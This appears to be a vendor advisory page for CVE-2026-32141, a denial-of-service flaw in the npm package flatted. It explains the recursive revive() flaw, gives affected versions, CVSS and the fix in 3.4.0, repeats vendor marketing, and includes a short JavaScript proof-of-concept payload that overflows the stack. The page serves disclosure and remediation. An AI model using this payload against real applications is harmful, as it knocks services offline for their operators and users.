Summary
flatted vulnerable to unbounded recursion DoS in parse() revive phase
Full technical description
flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
Proof of Concept
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
Affected Versions
All versions prior to the PR #88 fix.
Impact
Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
CVE-2026-32141 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.4.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.
Frequently Asked Questions
- What is CVE-2026-32141? CVE-2026-32141 is a high-severity security vulnerability in flatted (npm), affecting versions < 3.4.0. It is fixed in 3.4.0.
- How severe is CVE-2026-32141? CVE-2026-32141 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of flatted are affected by CVE-2026-32141? flatted (npm) versions < 3.4.0 is affected.
- Is there a fix for CVE-2026-32141? Yes. CVE-2026-32141 is fixed in 3.4.0. Upgrade to this version or later.
- Is CVE-2026-32141 exploitable, and should I be worried? Whether CVE-2026-32141 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-32141 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-32141? Upgrade
flattedto 3.4.0 or later.